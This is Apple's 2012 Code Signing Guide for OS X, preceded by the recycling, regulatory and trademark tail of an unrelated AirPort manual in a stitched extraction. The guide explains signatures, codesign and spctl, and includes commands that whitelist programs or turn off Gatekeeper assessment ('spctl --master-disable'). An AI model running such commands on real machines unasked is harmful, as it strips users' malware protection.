and Recycling Information This product has an internal battery. Please dispose of it according to your local environmental laws and guidelines. For information about Apple’s recycling program, go to www.apple.com/environment. California: The coin cell battery in your product contains perchlorates. Special handling and disposal may apply. Refer to www.dtsc.ca.gov/hazardouswaste/ perchlorate. Deutschland: Dieses Gerät enthält Batterien. Bitte nicht in den Hausmüll werfen. Entsorgen Sie dieses Gerätes am Ende seines Lebenszyklus entsprechend der maßgeblichen gesetzlichen Regelungen. Nederlands: Gebruikte batterijen kunnen worden ingeleverd bij de chemokar of in een speciale batterijcontainer voor klein chemisch afval (kca) worden gedeponeerd.38 Taiwan: Singapore Wireless Certification Taiwan Warning Statements Korea Warning Statements © 2009 Apple Inc. All rights reserved. Apple, the Apple logo, AirPort, AirPort Express, AirPort Extreme, Apple TV, Bonjour, iPod, Leopard, Macintosh, Mac OS, and Time Capsule are trademarks of Apple Inc., registered in the U.S. and other countries. Finder, iPhone, and Time Machine are trademarks of Apple Inc. Other product and company names mentioned herein may be trademarks of their respective companies.www.apple.com/airport www.apple.com/support/airport 034-4704-A Printed in XXXX Code Signing GuideContents About Code Signing 4 At a Glance 5 Prerequisites 5 See Also 5 Code Signing Overview 6 The Benefits Of Signing Code 6 Digital Signatures and Signed Code 8 Code Requirements 8 The Role of Trust in Code Signing 9 Code Signing Tasks 11 Obtaining a Signing Identity 11 Adding an Info.plist to Single-File Tools 15 Signing Your Code 17 What to Sign 17 When to Sign 18 Using the codesign Command 18 Using the spctl Tool to Test Code Signing 21 Shipping and Updating Your Product 23 Code Signing Requirement Language 25 Language Syntax 25 Evaluation of Requirements 26 Constants 26 String Constants 26 Integer Constants 27 Hash Constants 27 Variables 27 Logical Operators 27 Comparison Operations 28 Equality 28 Inequality 29 Existence 29 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 2Constraints 29 Identifier 29 Info 30 Certificate 30 Trusted 32 Entitlement 33 Code Directory Hash 33 Requirement Sets 34 Document Revision History 36 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 3 ContentsCode signing is a security technology, used in OS X, that allows you to certify that an app was created by you. Once an app is signed, the system can detect any change to the app—whether the change is introduced accidentally or by malicious code. Hash Message digest Digital signature Encrypt Signer’s certificate Code-signed data Signer’s private key 10101100100 10111100001 Data Duis autem vel eum vulputate velit esse molestie consequat, vel illum dolore. 00/00/00 Lorem Ipsum Lorem Ipsum Dolor Lorem Ipsum Dolor Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis. Users appreciate code signing. After installing a new version of a code-signed app, a user is not bothered with alerts asking again for permission to access the keychain or similar resources. As long as the new version uses the same digital signature, OS X can treat the new app exactly as it treated the previous one. Other OS X security features, such as App Sandbox and parental controls, also depend on code signing. In most cases, you can rely on Xcode’s automatic code signing (described in Tools Workflow Guide for Mac ), which requires only that you specify a code signing identity in the build settingsfor your project. This document is for readers who must go beyond automatic code signing—perhaps to troubleshoot an unusual problem, or to incorporate the codesign(1) tool into a build system. 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 4 About Code SigningAt a Glance The elements of code signing include code signatures, code signing identities, code signing certificates, and security trust policies. Be sure to understand these concepts if you need to perform code signing outside of Xcode. Relevant chapter: “Code Signing Overview” (page 6) Before you can sign code, you must obtain or create a code signing identity. You then sign your code and prepare it for distribution. Relevant chapter: “Code Signing Tasks” (page 11) To specify recommended criteria for verifiers to use when evaluating your app’s code signature, you use a requirements language specific to the codesign(1) and csreq(1) commands. You then save your criteria to a binary file as part of your Xcode project. Relevant chapter: “Code Signing Requirement Language” (page 25) Prerequisites Read Security Overview to understand the place of code signing in the OS X security picture. See Also For descriptions of the command-line toolsfor performing code signing,see the codesign(1) and csreq(1) man pages. About Code Signing At a Glance 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 5Code signing is a security technique that can be used to ensure code integrity, to determine who developed a piece of code, and to determine the purposes for which a developer intended a piece of code to be used. Although the code signing system performs policy checks based on a code signature, it is up to the caller to make policy decisions based on the results of those checks. When it is the operating system that makes the policy checks, whether your code will be allowed to run in a given situation depends on whether you signed the code and on the requirements you included in the signature. This chapter describes the benefits of signing code and introduces some of the basic concepts you need to understand in order to carry out the code signing process. Before you read this chapter, you should be familiar with the concepts described in Security Overview. The Benefits Of Signing Code When a piece of code has been signed, it is possible to determine reliably whether the code has been modified by someone other than the signer. The system can detect such alternation whether it was intentional (by a malicious attacker, for example) or accidental (as when a file gets corrupted). In addition, through signing, a developer can state that an app update is valid and should be considered by the system as the same app as the previous version. For example,suppose a user grantsthe SurfWriter app permission to access a keychain item. Each time SurfWriter attempts to access that item, the system must determine whether it is indeed the same app requesting access. If the app is signed, the system can identify the app with certainty. If the developer updates the app and signs the new version with the same unique identifier, the system recognizes the update as the same app and gives it access without requesting verification from the user. On the other hand, if SurfWriter is corrupted or hacked, the signature no longer matches the previous signature; the system detects the change and refuses access to the keychain item. Similarly, if you use Parental Controls to prevent your child from running a specific game, and that game has been signed by its manufacturer, your child cannot circumvent the control by renaming or moving files. Parental Controls uses the signature to unambiguously identify the game regardless of its name, location, or version number. All sorts of code can be signed, including tools, applications, scripts, libraries, plug-ins, and other “code-like” data. 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 6 Code Signing OverviewCode signing has three distinct purposes. It can be used to: ● ensure that a piece of code has not been altered ● identify code as coming from a specific source (a developer or signer) ● determine whether code is trustworthy for a specific purpose (for example, to access a keychain item). To enable signed code to fulfill these purposes, a code signature consists of three parts: ● A seal, which is a collection of checksums or hashes of the various parts of the code, such as the identifier, the Info.plist, the main executable, the resource files, and so on. The seal can be used to detect alterations to the code and to the app identifier. ● A digital signature, which signs the seal to guarantee its integrity. The signature includes information that can be used to determine who signed the code and whether the signature is valid. ● A unique identifier, which can be used to identify the code or to determine to which groups or categories the code belongs. This identifier can be derived from the contents of the Info.plist for the app, or can be provided explicitly by the signer. For more discussion of digital signatures, see the following section, “Digital Signatures and Signed Code.” To learn more about how a code signature is used to determine the signed code’s trustworthiness for a specific purpose, see “Code Requirements” (page 8). Note that code signing deals primarily with running code. Although it can be used to ensure the integrity of stored code (on disk, for example), that's a secondary use. To fully appreciate the uses of code signing, you should be aware of some things that signing cannot do: ● It can’t guarantee that a piece of code is free of security vulnerabilities. ● It can’t guarantee that an app will not load unsafe or altered code—such as untrusted plug-ins—during execution. ● It is not a digital rights management (DRM) or copy protection technology. Although the system could determine that a copy of your app had not been properly signed by you, or that its copy protection had been hacked, thus making the signature invalid, there is nothing to prevent a user from running the app anyway. Code Signing Overview The Benefits Of Signing Code 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 7Digital Signatures and Signed Code As explained in Security Overview, a digital signature uses public key cryptography to ensure data integrity. Like a signature written with ink on paper, a digital signature can be used to identify and authenticate the signer. However, a digital signature is more difficult to forge, and goes one step further: it can ensure that the signed data has not been altered. This is somewhat like designing a paper check or money order in such a way that if someone alters the written amount of money, a watermark with the text “Invalid” becomes visible on the paper. To create a digitalsignature, the signing software computes a special type of checksum called a hash (or digest) based on a piece of data or code and encrypts that hash with the signer’s private key. This encrypted hash is called a signature. To verify that signature, the verifying software computes a hash of the data or code. It then uses the signer’s public key to decrypt the signature, thus obtaining the original hash as computed by the signer. If the two hashes match, the data has not been modified since it was signed by someone in possession of the signer’s private key. Signed code contains several digital signatures: ● If the code is universal, the object code for each slice (architecture) is signed separately. This signature is stored within the binary file itself. ● Various components of the application bundle (such as the Info.plist file, if there is one) are also signed. These signatures are stored in a file called _CodeSignature/CodeResources within the bundle. Code Requirements It is up to the system or program that is launching or loading signed code to decide whether to verify the signature and, if it does, to determine how to evaluate the results of that verification. The criteria used to evaluate a code signature are called code requirements. The signer can specify requirements when signing the code; such requirements are referred to as internal requirements. A verifier can read any internal requirements before deciding how to treat signed code. However, it is up to the verifier to decide what requirements to use. For example, Safari could require a plug-in to be signed by Apple in order to be loaded, regardless of whether that plug-in’s signature included internal requirements. One major purpose of code signatures is to allow the verifier to identify the code (such as a program, plug-in, or script) to determine whether it is the same code the verifier has seen before. The criteria used to make this determination are referred to asthe code’s designated requirement. For example, the designated requirement for Apple Mail might be "was signed by Apple and the identifier is com.apple.Mail". Code Signing Overview Digital Signatures and Signed Code 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 8To see how this works in practice, assume the user has granted permission to the Apple Mail application to access a keychain item. The keychain uses Mail’s designated requirement to identify it: the keychain records the identifier (com.apple.Mail) and the signer of the application (Apple) to identify the program allowed to access the keychain item. Whenever Mail attempts to access this keychain item, the keychain looks at Mail’s signature to make sure that the program has not been corrupted, that the identifier is com.apple.Mail, and that the program wassigned by Apple. If everything checks out, the keychain gives Mail accessto the keychain item. When Apple issues a new version of Mail, the new version includes a signature, signed by Apple, that identifies the application as com.apple.Mail. Therefore, when the user installs the new version of Mail and it attempts to access the keychain item, the keychain recognizes the updated version as the same program and does not prompt the user for verification. Architecturally, a code requirement is a script, written in a dedicated language, that describes conditions (restrictions) the code mustsatisfy to be acceptable forsome purpose. It is up to you whether to specify internal requirements when you sign code. The program identifier or the entire designated requirement can be specified by the signer, or can be inferred by the codesign tool at the time of signing. In the absence of an explicitly specified designated requirement, the codesign utility typically builds a designated requirement from the name of the program found in its Info.plist file and the chain of signatures securing the code signature. Note that validation of signed code against a set of requirements is performed only when the system or some other program needs to determine whether it is safe to trust that code. For example, unsigned code injected into an application through a buffer overflow can still execute because it was not part of the application at launch time. Similarly, an app with an invalid code identifier may still run (depending on policy), but does not get automatic access to keychain items created by previous versions of the app. The Role of Trust in Code Signing Trust is determined by policy. A security trust policy determines whether a particular identity should be accepted for allowing something, such as access to a resource or service. Various parts of OS X have different policies, and make this determination differently. For example, a specialized client application might include a set of root certificatesthat it trusts when communicating with a specific set ofservers. However, these root certificates would not be trusted if those same servers were accessed using a web browser. In much the same way, many parts of OS X (the OS X keychain and parental controls, for example) do not care what entity signed an application; they care only whether the signer has changed since the last time the signature was checked. They use the code signature’s designated requirement for this purpose. Code Signing Overview The Role of Trust in Code Signing 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 9Other parts of OS X constrain acceptable signatures to only those drawn from certificate authorities (root certificates) that are trusted anchors on the system performing the validation. For those checks, the nature of the identity used matters. The Application Firewall is one example of this type of policy. Self-signed identities and self-created certificate authorities do not work for these purposes unless the user has explicitly told the operating system to trust the certificates. You can modify the code signing polices of OS X with the spctl(8) command. Code Signing Overview The Role of Trust in Code Signing 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 10This chapter gives procedures and examplesfor the code signing process. It covers what you need to do before you begin to sign code, how to sign code, and how to ship the code you signed. Obtaining a Signing Identity To sign code, you need a code signing identity, which is a private key plus a digital certificate. The digital certificate must have a usage extension that enables it to be used for signing and it must contain the public key that corresponds to the private key. You can use more than one signing identity, each for its own purpose, such as one to be used for beta seeds and one for final, released products. However, most organizations use only one identity. You can obtain two types of certificates from Apple using the developer portal: Developer ID certificates (for public distribution) and distribution certificates (for submitting to the Mac App Store). To learn more about this, read Tools Workflow Guide for Mac . Note: Apple uses the industry-standard form and format of code signing certificates. Therefore, if your company already has a third-party signing identity that you use to sign code on other systems, you can use it with the OS X codesign command. Similarly, if your company is a certificate issuing authority, contact your IT department to find out how to get a signing certificate issued by your company. If you do not have an existing identity, you should first create one using the Certificate Assistant, which is provided as part of the Keychain Access application. This tool creates a public key, puts it into your keychain, and optionally can produce a certificate signing request that you can then send to Apple (or another certificate authority). The certificate authority then sends you a certificate that, in combination with your private key, completes your digital identity. To import a signing certificate with Keychain Access 1. In Keychain Access (available in /Applications/Utilities), choose File > Import Items. 2. Choose a destination keychain for the identity. 3. Choose the certificate file. 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 11 Code Signing Tasks4. Click Open. Note: If the original private key is not already in your keychain (for example, if you are moving from one development machine to another), you must also import the private key in the same way. Before you obtain a code signing identity and sign your code, consider the following points: ● Do not ship applications signed by self-signed certificates. A self-signed certificate created with the Certificate Assistant is not recognized by users’ operating systems as a valid certificate for any purpose other than validating the designated requirement of your signed code. Because a self-signed certificate has not been signed by a recognized root certificate authority, the user can only verify that two versions of your application came from the same source; they cannot verify that your company is the true source of the code. For more information about root authorities, see “Security Concepts”. ● Depending on your company’s internal policies, you might have to involve your company’s Build and Integration, Legal, and Marketing departments in decisions about what sort of signing identity to use and how to obtain it. You should start this process well in advance of the time you need to actually sign the code for distribution to customers. ● Any signed version of your code that gets into the hands of users will appear to have been endorsed by your company for use. Therefore, you might not want to use your “final” signing identity to sign code that is still in development. ● A signing identity, no matter how obtained, is completely compromised if it is ever out of the physical control of whoever is authorized to sign the code. That means that the signing identity’s private key must never, under any circumstances, be given to end users, and should be restricted to one or a small number of trusted persons within your company. Before obtaining a signing identity and proceeding to sign code, you must determine who within your company will possess the identity, who can use it, and how it will be kept safe. For example, if the identity must be used by more than one person, you can keep it in the keychain of a secure computer and give the password of the keychain only to authorized users, or you can put the identity on a smart card to which only authorized users have the PIN. ● A self-signed certificate created by the Certificate Assistant is adequate for internal testing and development, regardless of what procedures you put in place to sign released products. To use the Certificate Assistant to create a self-signed signing identity 1. Open Applications > Utilities > Keychain Access. Code Signing Tasks Obtaining a Signing Identity 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 122. From the Keychain Access menu, choose Certificate Assistant > Create a Certificate. 3. Fill in a name for the certificate. This name appears in the Keychain Access utility as the name of the certificate. 4. Choose Self Signed Root from the Type popup menu. Code Signing Tasks Obtaining a Signing Identity 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 135. Check the Let me override defaults checkbox. Click Continue. 6. Specify a serial number for the certificate. Any number will do as long as you have no other certificate with the same name and serial number. Code Signing Tasks Obtaining a Signing Identity 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 147. Choose Code Signing from the Certificate Type popup menu. Click Continue. 8. Fill in the information for the certificate. Click Continue. 9. Accept the defaults for the rest of the dialogs. Adding an Info.plist to Single-File Tools As discussed in “Code Requirements” (page 8), the system often uses the Info.plist file of an application bundle to determine the code’s designated requirement. Although single-file tools don’t normally have an Info.plist, you can add one. To do so, use the following procedure: 1. Add an Info.plist file to your project (including adding it to your source control). 2. Make sure the Info.plist file has the following keys: ● CFBundleIdentifier ● CFBundleName Code Signing Tasks Adding an Info.plist to Single-File Tools 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 153. The value for CFBundleIdentifier is used asthe default unique name of your program for Code Signing purposes. Because the CFBundleIdentifier value is also used when your application accessesresources in the application bundle, it may sometimes be necessary to use a non-unique CFBundleIdentifier value for a helper. If you do this, you must provide a different, unique identifier for code signing purposes by passing the -i or --identifier flag to the codesign command. The identifier used for signing must be globally unique. To ensure uniqueness, you should include your company’s name in the value. The usual form for this identifier is a hierarchical name in reverse DNS notation,starting with the top level domain, followed by the company name, followed by the organization within the company, and ending with the product name. For example, the CFBundleIdentifier value for the codesign command is com.apple.security.codesign. 4. The value for CFBundleName shows up in system dialogs asthe name of your program,so itshould match your marketing name for the product. 5. Add the following arguments to your linker flags: -sectcreate __TEXT __info_plist Info.plist_path where Info.plist_path is the complete path of the Info.plist file in your project. In Xcode, for example, you would add these linker flags to the OTHER_LDFLAGS build variable (Other Linker Flags in the target’s build rules). For example, here are the contents of the Info.plist file for the codesign command: CFBundleDevelopmentRegion English CFBundleIdentifier com.apple.security.codesign CFBundleInfoDictionaryVersion 6.0 CFBundleName codesign CFBundleVersion 0.3 Code Signing Tasks Adding an Info.plist to Single-File Tools 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 16Signing Your Code You use the codesign command to sign your code. This section discusses what to sign and gives some examples of the use of codesign. See the codesign(1) manual page for a complete description of its use. What to Sign You should sign every executable in your product, including applications, tools, hidden helper tools, utilities and so forth. Signing an application bundle covers its resources, but not its subcomponents such as tools and sub-bundles. Each of these must be signed independently. If your application consists of a big UI part with one or more little helper tools that try to present a single face to the user, you can make them indistinguishable to code signing by giving them all the exact same code signing identifier. (You can do that by making sure that they all have the same CFBundleIdentifier value in their Info.plist, or by using the -i option in the codesign command, to assign the same identifier.) In that case, all your program components have access to the same keychain items and validate as the same program. Do this only if the programs involved are truly meant to form a single entity, with no distinctions made. A universal binary (bundle or tool) automatically has individual signatures applied to each architecture component. These are independent, and usually only the native architecture on the end user'ssystem is verified. In the case of installer packages (.pkg and .mpkg bundles), everything is implicitly signed: The CPIO archive containing the payload, the CPIO archive containing install scripts, and the bill of materials (BOM) each have a hash recorded in the XAR header, and that header in turn is signed. Therefore, if you modify an install script (for example) after the package has been signed, the signature will be invalid. You may also want to sign your plug-ins and libraries. Although this is not currently required, it will be in the future, and there is no disadvantage to having signatures on these components. Important: When code signing a framework, you must sign a particular version of the framework, not the framework as a whole. For example: codesign -s my-signing-identity ../MyCustomFramework/Versions/A Depending on the situation, codesign may add to your Mach-O executable file, add extended attributes to it, or create new files in your bundle's Contents directory. None of your other files is modified. Code Signing Tasks Signing Your Code 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 17When to Sign You can run codesign at any time on any system running OS X v10.5 or later, provided you have access to the signing identity. You can run it from a shell script phase in Xcode if you like, or as a step in your Makefile scripts, or anywhere else you find suitable. Signing is typically done as part of the product mastering process, after quality assurance work has been done. Avoid signing pre-final copies of your product so that no one can mistake a leaked or accidentally released incomplete version of your product for the real thing. Your final signing must be done after you are done building your product, including any post-processing and assembly of bundle resources. Code signing detects any change to your program after signing, so if you make any changes at all after signing, your code will be rejected when an attempt is made to verify it. Sign your code before you package the product for delivery. Because each architecture component is signed independently, it is all right to perform universal-binary operations (such as running the lipo command) on signed programs. The result will still be validly signed as long as you make no other changes. Using the codesign Command The codesign command is fully described in the codesign(1) manual page. This section provides some examples of common uses of the command. Note that your signing identity must be in a keychain for these commands to work. Signing Code To sign the code located at , using the signing identity , use the following command: codesign -s … The value may be a bundle folder or a specific code binary. See “What to Sign” (page 17) for more details. The identity can be named with any (case sensitive) substring of the certificate's common name attribute, as long as the substring is unique throughout your keychains. (Signing identities are discussed in “Obtaining a Signing Identity” (page 11).) As is typical of Unix-style commands, this command gives no confirmation of success. To get some feedback, include the -v option: codesign -s -v … Code Signing Tasks Signing Your Code 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 18Use the -r option to specify an internal requirement. With this option you can specify a text file containing the requirements, a precompiled requirements binary, or the actual requirement text prefixed with an equal sign (=). For example, to add an internal requirement that all libraries be signed by Apple, you could use the following option: -r="library => anchor apple" The code requirement language is described in “Code Signing Requirement Language” (page 25). If you have built your own certificate hierarchy (perhaps using Certificate Assistant—see “Obtaining a Signing Identity” (page 11)), and want to use your certificate’s anchor to form a designated requirement for your program, you could use the following command: codesign -s signing-identity -r="designated => anchor /my/anchor/cert and identifier com.mycorp.myprog" Note that the requirement source language accepts either an SHA1 hash of a certificate (for example H"abcd....") or a path to the DER encoded certificate in a file. It does not currently accept a reference to the certificate in a keychain, so you have to export the certificate before executing this command. You can also use the csreq command to write the requirements out to a file, and then use the path to that file as the input value for the -r option in the codesign command. See the manual page for csreq(1) for more information on that command. Here are some other samples of requirements: ● anchor apple –the code is signed by Apple ● anchor trusted –the anchor is trusted (for code signing) by the system ● certificate leaf = /path/to/certificate –the leaf (signing) certificate is the one specified ● certificate leaf = /path/to/certificate and identifier "com.mycorp.myprog" –the leaf certificate and program identifier are as specified ● info[mykey] = myvalue – the Info.plist key mykey exists and has the value myvalue Except for the explicit anchor trusted requirement, the system does not consult its trust settings database when verifying a code requirement. Therefore, as long as you don’t add this designated requirement to your code signature, the anchor certificate you use for signing your code does not have to be introduced to the user’s system for validation to succeed. Code Signing Tasks Signing Your Code 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 19Adding Entitlements for Sandboxing If you want to enable App Sandbox for an application, you must add an entitlement property list during the signing process. To do this, add the --entitlements flag and an appropriate property list. For example: codesign --entitlements /path/to/entitlements.plist -s … For a list of entitlement keys that can appear in the entitlement property list, see Entitlement Key Reference . Verifying Code To verify the signature on a signed binary, use the -v option with no other options: codesign -v … This checks that the code binaries at are actually signed, that the signature is valid, that all the sealed components are unaltered, and that the whole thing passes some basic consistency checks. It does not by default check that the code satisfies any requirements except its own designated requirement. To check a particular requirement, use the -R option. For example, to check that the Apple Mail application is identified as Mail,signed by Apple, and secured with Apple’srootsigning certificate, you could use the following command: codesign -v -R="identifier com.apple.mail and anchor apple" /Applications/Mail.app Note that, unlike the -r option, the -R option takes only a single requirement rather than a requirements collection (no => tags). Add one or more additional -v options to get details on the validation process. If you pass a number rather than a path to the verify option, codesign takes the number to be the process ID (pid) of a running process, and performs dynamic validation instead. Getting Information About Code Signatures To get information about a code signature, use the -d option. For example, to output the code signature’s internal requirements to standard out, use the following command: codesign -d -r code-path Note that this option does not verify the signature. Code Signing Tasks Signing Your Code 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 20Using the spctl Tool to Test Code Signing The spctl(8) tool can be used to test your code signatures against various system policies that the user may set. The basic syntax for code signing assessment is shown below: # Assess an application or tool spctl --assess --type execute myTool # Assess an installer package spctl --assess --type install myInstallerPackage.pkg If your application or package signature is valid, these tools exit silently with an exit status of 0. (Type echo $? to display the exit status of the last command.) If the signature is invalid, these tools print an error message and exit with a nonzero exit status. For more detailed information about why the assessment failed, you can add the --verbose flag. For example: spctl --assess --verbose=4 /bin/ls This prints the following output: /bin/ls: accepted source=Apple System To see everything the system has to say about an assessment, pass the --raw option. With this flag, the spctl tool prints a detailed assessment as a property list. To whitelist a program (exactly as if the UI did it), type: spctl --add --label mytest /some/program The --label is an optional tag that you can add to your own rules. This tag allows you to remove the rule easily by typing: spctl --remove --label mytest Note that this removes all rules that match the label, which means that it is a handy way to clean up after testing. You can also temporarily suspend your rules by typing: Code Signing Tasks Using the spctl Tool to Test Code Signing 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 21spctl --disable --label mytest and reenable them later by typing: spctl --enable --label mytest To see a list of the current assessment rules, use the --list flag. For example: spctl --list --type execute The resulting list of rules might look like this: 3[Apple System] P0 allow execute anchor apple 4[Mac App Store] P0 allow execute anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists 5[Developer ID] P0 allow execute anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and certificate leaf[field.1.2.840.113635.100.6.1.13] exists 7[UNLABELED] P0 allow execute [/var/tmp/firefly/RUN-FIREFLY-JOBS/test1.app] cdhash H"f34c03450da53c07ac69282089b68723327f278a" 8[UNLABELED] P0 allow execute [/var/tmp/firefly/RUN-FIREFLY-JOBS/test1.app] identifier "org.tpatko.Run-Firefly-Job-X-Cores" and certificate root = H"5056a3983e3b7f44e17e3db8e483b35b6745b236" Notice that the list above includes a number of predefined rules that describe the handling of certain classes of code. For example, rule 5 captures all applicationssigned by a Developer ID. You can disable those applications by typing: spctl --disable --label "Developer ID" This command tells the system to no longer allow execution of any Developer ID-signed applications that the user has not previously run. This is exactly what happens when you use the preference UI to switch to "Mac App Store only". Each rule in the list has a unique number that can be used to address it. For example, if you type: Code Signing Tasks Using the spctl Tool to Test Code Signing 2012-07-23 | © 2012 Apple Inc. All Rights Reserved. 22spctl --list --label "Developer ID" you might get a list of rules that looks like this: 5[Developer ID] P0 allow execute anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and certificate leaf[field.1.2.840.113635.100.6.1.13] exists 6[Developer ID] P0 allow install anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and certificate leaf[field.1.2.840.113635.100.6.1.14] exists Notice that there are separate rules for execution (5) and installation (6), and you can enable and disable them separately. For example, to enable installation of new applications signed with a Developer ID, you can type: spctl --enable --rule 6 Finally, spctl allows you to enable or disable the security assessment policy subsystem. By default, assessment isturned off, which meansthat missing or invalid code signatures do not prevent an application from launching. However, it is strongly recommended that you test your application with assessment enabled to ensure that your application works correctly. To enable or disable assessment, issue one of the following commands. sudo spctl --master-enable # enables assessment sudo spctl --master-disable # disables assessment spctl --status # shows whether assessment is enabled